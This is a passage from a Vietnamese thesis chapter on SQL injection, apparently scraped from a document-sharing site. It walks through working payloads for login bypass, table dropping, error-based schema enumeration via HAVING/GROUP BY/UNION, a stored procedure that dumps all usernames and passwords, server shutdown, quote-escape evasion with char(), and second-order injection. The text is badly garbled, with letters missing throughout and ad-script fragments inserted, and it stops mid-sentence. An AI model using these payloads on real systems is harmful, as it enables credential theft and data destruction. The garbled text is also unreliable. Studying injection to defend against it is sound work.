CÁC CÁCH TN CÔNG

Một phần của tài liệu Xây dựng công cụ hỗ trợ quản lý quá trình phát triển đề án phần mềm gắn kết với hệ thống phần mềm Microsoft Project (Trang 61)

III.1. K thu t t n công SQL Injection

D i đây là k thu t SQL injection đ n gi n nh t, dùng đ v t qua các form

đ ng nh p.

Ví d 6.III.1-1: gi s ng d ng web có đo n mã sau:

SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”

flag= GetQueryResult (SQLQuery) if flag = “” then

check=FALSE else

check=TRUE end if

o n mã trên ki m tra chu i nh p Username và Password. N u t n t i trong b ng User thì check=true ng c l i check=false.

Giá tri nh p vào là:

Username: ’ OR ‘’=’

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

Câu l nh SQL lúc này nh sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’

Câu l nh so sánh trên luôn luôn đúng (vì ‘’ luôn b ng ‘’). Do đó câu đi u ki n trong m nh đ WHERE luôn đúng. Giá tr tên ng i s d ng c a dòng đ u tiên trong b ng s đ c ch n.

K t h p v i kí t đ c bi t c a SQL :

• kí t “ ; ” : đánh d u k t thúc 1 câu truy v n

• kí t “--” : n chu i kí t phía sau nó trên cùng 1 dòng

Ví d 6.III.1-2:

Username: ’; drop table User--

Password:

Câu l nh SQL lúc này nh sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User-- AND Password= ‘” & tkPassword & “’”

V i câu l nh trên thì b ng User s b xóa hoàn toàn.

Ví d 6.III.1-3: M t ví d khác s d ng kí t đ c bi t SQL đ thâm nh p vào h th ng nh sau:

Username: admin’--

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

Câu l nh SQL nh sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND Password= ‘” & tkPassword & “’”

Câu l nh trên cho phép đ ng nh p vào h th ng v i quy n admin mà không đòi h i password.

III.2. T n công d a vào câu l nh SELECT (adsbygoogle = window.adsbygoogle || []).push({});

Ngoài k thu t đ n gi n trên, vi c t n công th ng d a trên nh ng thông báo l i

đ l y thông tin v b ng c ng nh nh ng tr ng trong b ng. làm đ c đi u này, c n ph i hi u nh ng thông báo l i và t đó ch nh s a n i dung nh p cho phù h p.

Khái ni m Direct Injection:

Nh ng đ i s đ c thêm vào trong câu l nh mà không n m gi a nh ng d u nh y

đ n hay d u ngo c kép là tr ng h p direct injection. Ví d III.2.1

Ví d 6.III.2-1:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName

Khái ni m Quote Injection:

Nh ng tr ng h p đ i s đ c nh p vào đ u đ c ng d ng cho vào gi a hai d u nháy đ n hay ngo c kép là tr ng h p Quote Injection. Ví d III.2.2

Ví d 6.III.2-2:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName & “’”

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

vô hi u hoá d u nháy và thay đ i câu l nh mà v n gi đ c cú pháp đúng, chu i mã chèn thêm vào ph i có m t d u nháy đ n tr c chu i kí t đ c chèn vào và cu i câu l nh ph i có m t d u nháy đ n, ch ng h n nh sau:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and ‘’=’’”

N u đã th c hi n nh trên mà thông báo l i có liên quan đ n d u “(“ thì trong chu i chèn vào ph i có “)”:

Ví d 6.III.2-3: Gi s :

StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName & “’”)

Thì cú pháp h p l nh sau:

StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or ‘’=’’”

Ngoài ra kí t % th ng đ c dùng trong nh ng tr ng h p tìm ki m thông tin.

Ví d 6.III.2-4:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’”

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

III.3. T n công d a vào câu l nh HAVING

HAVING s d ng cùng chung v i m nh đ GROUP BY là ph ng pháp h u hi u đ nh n thông tin b ng, tr ng… và s đ c bàn sâu h n trong ph n 4.

III.4. T n công d a vào câu l nh k t h p UNION

L nh SELECT đ c dùng đ l y thông tin t c s d li u. Thông th ng v trí có th đ c chèn thêm vào m t m nh đ SELECT là sau WHERE. có th tr v nhi u dòng thông tin trong b ng, thay đ i đi u ki n trong m nh đ WHERE b ng cách chèn thêm UNION SELECT.

Ví d 6.III.4-1:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from User”

Câu l nh trên tr v m t t p k t qu là s k t h p gi a tkUsername v i tkPassword trong b ng User. (adsbygoogle = window.adsbygoogle || []).push({});

Ghi chú:

• S c t trong hai câu SELECT ph i kh p v i nhau. Ngh a là s l ng c t trong câu l nh SELECT ban đ u và câu l nh UNION SELECT phía sau b ng nhau và cùng ki u.

Nh vào l i cú pháp tr v sau khi chèn thêm câu l nh UNION mà có th bi t ki u c a m i tr ng.

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

Sau đây là nh ng ví d đ c th c hi n khi không bi t n i dung c s d li u d a vào HAVING, GROUP BY, UNION:

Ví d 6.III.4-2: Nh c l i câu truy v n c n đ đ ng nh p:

SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”

u tiên, đ bi t tên b ng và tên tr ng mà câu truy v n s d ng, s d ng câu

đi u ki n “having” , nh ví d sau:

Giá tr nh p vào:

Username: ’having 1=1--

L i phát sinh:

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

'User.tkUsername' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Nh vào l i phát sinh này mà bi t đ c b ng s d ng trong câu truy v n là User và trong b ng t n t i m t tr ng tên là tkUsername.

Sauđó s d ng GROUP BY:

Ví d 6.III.4-3:

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

L i phát sinh:

[Microsoft][ODBC SQL Server Driver][SQL Server]

Column'User.tkPassword'is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Nh v y tkPassword là m t tr ng c a b ng User và đ c s d ng trong câu truy v n.

Ti p t c dùng GROUP BY cho đ n khi bi t đ c t t c các tr ng trong b ng User tham gia vào câu truy v n.

Khi không còn báo l i cú pháp GROUP BY n a thì chuy n qua công đo n ki m tra ki u c a t ng tr ng trong b ng. Lúc này UNION đ c s d ng:

Ví d 6.III.4-4:

Username:’union select sum(tkUsername) from User

L nh sum là l nh tính t ng cho đ i s bên trong d u ngo c. i s ph i là ki u s . N u đ i s không là ki u s thì phát sinh l i nh sau:

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

Nh v y v i thông đi p l i nh trên thì tkUsername ch c ch n ph i là ki u “varchar”.

Ch ng 6: Chèn câu truy v n SQL (SQL Injection) (adsbygoogle = window.adsbygoogle || []).push({});

V i ph ng pháp trên, d dàng xác đnh đ c ki u c a t ng tr ng trong b ng. Sau khi đã nh n đ y đ trông tin trên thì hacker d dàng t thêm thông tin vào b ng User.

Ví d 6.III.4-5:

Username:’; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)--

Hacker thêm n i dung nh Ví d 6.III.4.2.4 bây gi tr thành ng i qu n tr m ng mà không c n m t kh uđ ch ng th c.

Ví d 6.III.4-6: minh ho m t công đo n s giúp hacker đ c h t thông tin trong b ng User:

• B c 1: T o m t Stored procedure đ chép vào t t c thông tin c a 2 tr ng tkUsername và tkPassword trong b ng User thành m t chu i vào m t b ng m i là foo có m t tr ng là ret b ngđo n mã sau:

create proc test as

begin

declare @ret varchar(8000) set @ret=':'

select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo

end

Th c thi câu l nh b ng cách nh p vào form.

Username:’;Create proc test as begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+'

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

'+tkUsername+'/'+tkPassword from User select @ret as ret into foo

• B c 2: G i Stored proceduređó

Sau khi đã t o đ c stored procedure nh trên, th c hi n l i g i hàm:

Username:’;exec test

• B c 3: Dùng UNIONđ xem n i dung b ng foo

Username:’;select ret,1 from foo union select 1,1 from foo

L i phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error

'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ': admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu'

to a column of data type int.

Qua m t s công đo n, hacker đã thu đ c n i dung c a b ng User g m có tên tkUsername và m t kh u tkPassword.

• B c 4: Ngoài ra hacker còn có th c n th n xoá b ng foođ xoá d u v t:

Username: ‘; drop table foo--

Ví d 6.III.4-7: Còn đây là m t cách khác đ xác đnh n i dung c a b ng User, còn m t ph ng pháp tìm ki m thông tin nh sau:

• B c 1:

Tìm tu n t t ng dòng trên b ng User (adsbygoogle = window.adsbygoogle || []).push({});

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

ho c :

Username:’union select min(tkUsername),1 from User where tkUsername> ’a’--

L i phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type

int.

Ng i đ u tiên trong b ng User là “admin”.

• B c 2:

bi t các giá tr ti p theo, nh p chu i sau:

Username:’;select min(tkUsername),1 from User where tkUsername> ’admin’union select 1,1 from User

L i phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'nhimmap' to a column of data type int.

• B c 3:

Th c hi n nh b c 2 cho ra k t qu là t ng dòng v i tr ng tkUsername trong b ng User.

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

• B c 4:

bi t thêm v tkPasswork, có th th c hi n nh sau:

Username:’;select tkPassword,1 from User where tkUsername= ’admin’union select 1,1 from User

L i phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'passOfAdmin' to a column of data type int.

bi t thông tin v các b ng, c t trong c s d li u, có th truy v n b ngđ n b ng h th ng INFORMATION_SCHEMA.TABLES.

Ví d 6.III.4-8:

select TABLE_NAME from INFORMATION_SCHEMA.TABLES

INFORMATION_SCHEMA.TABLES ch a thông tin v t t c các table có trên server. Tr ng TABLE_NAME ch a tên c a m i table trong c s d li u.

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='User'

Câu l nh trên đ c s d ng đ bi t thông tin v c t trong b ng.

Ch ng 6: Chèn câu truy v n SQL (SQL Injection) (adsbygoogle = window.adsbygoogle || []).push({});

Ví d 6.III.4-9: bi t ng d ng đang ch y trên Server nào, có th xác đnh b ng cách sau:

Username:’;select @@SERVERNAME union select 1

L i phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'KHOAI_NGU' to a column of data type int.

III.5. T n công d a vào l nh INSERT

T khoá INSERT dùng đ đ a thông tin vào c s d li u. Thông th ng câu l nh INSERT đ c dùng trong các tr ng h p nh : thông tin đ ng kí ng i s d ng, guestbook…v..v…

K thu t “;”, “--“ đ c dùng nh đã t ng dùng v i câu l nh SELECT, ph i đ m b o đúng s l ng và ki u giá tr đ c nh p vào nh m tránh l i v cú pháp (n u không xác đnh đ c ki u d li u có th nh p t t c là s ).

Ví d 6.III.5-1:

SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” & strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)”

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

III.6. T n công d a vào STORED PROCEDURE

Stored Procedure đ c s d ng trong l p trình Web v i m c đích gi m s ph c t p trong ng d ng và tránh s t n công trong k thu t SQL Injection. Tuy nhiên hacker v n có th l i d ng nh ng Stored Procedure đ t n công vào h th ng.

Ví d 6.III.6-1: Stored procedure sp_login g m hai tham s là username và password. N u nh p:

Username: nhimmap

Password: ‘;shutdown--

L nh g i stored procedure nh sau:

exec sp_login ‘nhimmap’,‘’;shutdown--’

L nh shutdown th c hi n d ng SQL Server ngay l p t c.

III.7. Nâng cao

III.7.1. Chu i kí t không có d u nháy đ n:

Nh ng nhà l p trình có th b o v ng d ng c a h b ng cách lo i b t t c d u nháy, thông th ng lo i b d u nháy b ng cách thay m t d u nháy thành 2 d u nháy.

Ví d 6.III.7.1-1:

Function escape (input)

Input=replace(input, “’”, “’’”) escape=input

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

Rõ ràng là, nó ng n ch n đ c t t c nh ng ki u t n công trên. Tuy nhiên n u mu n t o ra m t chu i giá tr mà không dùng các d u nháy, có th dùng hàm “char()” nh ví d sau:

Ví d 6.III.7.1-2:

INSERT into User VALUES(666, char(0x63) +char(0x68) +char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68) +char(0x72) +char(0x69) +char(0x73),0xffff)

Ví d 6.III.7.1-3 trên tuy là m t câu truy v n không có d u nháy đ n nào nh ng nó v n có th insert chu i vào b ng, và t ng đ ng v i:

INSERT into User VALUES( 666,’chris’,’chris’,255) (adsbygoogle = window.adsbygoogle || []).push({});

Hacker c ng có th ch n username , password là s đ tránh d u nháy nh ví d sau:

Ví d 6.III.7.1-4:

INSERT into User VALUES( 667,123,123,0xffff)

SQL server s t đ ng chuy n t s sang chu i.

III.7.2. T n công 2 t ng

M c dù ng d ng đã thay th d u nháy đ n nh ng v n còn kh n ng b chèn

đo n mã SQL .

Ví d 6.III.7.2-1: đ ng kí account trong ng d ng, nh p username nh sau:

Username: admin'—

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

ng d ng s thay th d u nháy, k t qu trong câu insert s nh sau:

INSERT into User VALUES(123, 'admin''--', 'password',0xffff)

(nh ng trong c s d li u s l u là “admin’--“)

Gi s r ng ng d ng cho phép ng i dùng thay đ i m t kh u. Các đo n mã ASP đ c thi t k đ m b o r ng ng i s d ng ph i nh p đúng m t kh u c tr c khi nh p m t kh u m i. o n mã nh sau:

username = escape( Request.form("username") );

oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") );

var rso = Server.CreateObject("ADODB.Recordset");

var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";

rso.open( sql, cn ); if (rso.EOF)

{…

Câu truy v n thi t l p m t kh u m i nh sau:

sql = "update users set password = '" + newpassword + "' where username= '" + rso("username") + "'"

rso(“username”) chính là giá tr username có đ c câu truy v n login và nó là admin’--

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

update users set password = 'password' where username = 'admin'--'

Nh đó hacker có th thay đ i m t kh u c a admin b ng giá tr c a mình.

ây là 1 tr ng h p còn t n t i trong h u h t nh ng ng d ng l n ngày nay có s d ng c ch lo i b d li u. Gi i pháp t t nh t là lo i b nh ng giá tr l i h n là ch nh s a l i. Nh ng có m t v n đ là có m t s ô nh p d li u (nh ô nh p tên) cho phép nh ng kí t này. Ví d : O’Brien.

Cách t t nh t đ gi i quy t v n đ này là không cho phép nh p d u nháy đ n. N u đi u này không th th c hi n đ c , thì lo i b và thay th nh trên. Trong tr ng h p này, cách t t nh t là đ m b o t t c d li u đ c đ a vào câu truy v n SQL (k c nh ng giá tr trong c s d li u) ph i đ c ki m soát m t cách ch t ch .

M t s ng d ng phòng ch ng vi c thêm câu truy v n t ng i dùng b ng cách gi i h n chi u dài c a ô nh p. Tuy nhiên, v i gi i h n này thì m t s ki u t n công không th th c hi n đ c nh ng v n có ch h đ hacker l i d ng.

Ví d 6.III.7.2-2: (adsbygoogle = window.adsbygoogle || []).push({});

Gi s c username và password đ u b gi i h n t i đa là 16 kí t . Nh p:

Username: aaaaaaaaaaaaaaa’

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

ng d ng s thay th m t d u nháy đ n b ng hai d u nháy đ n nh ng do chi u dài chu i b gi i h n ch là 16 kí t nên d u nháy đ n v a đ c thêm s

Một phần của tài liệu Xây dựng công cụ hỗ trợ quản lý quá trình phát triển đề án phần mềm gắn kết với hệ thống phần mềm Microsoft Project (Trang 61)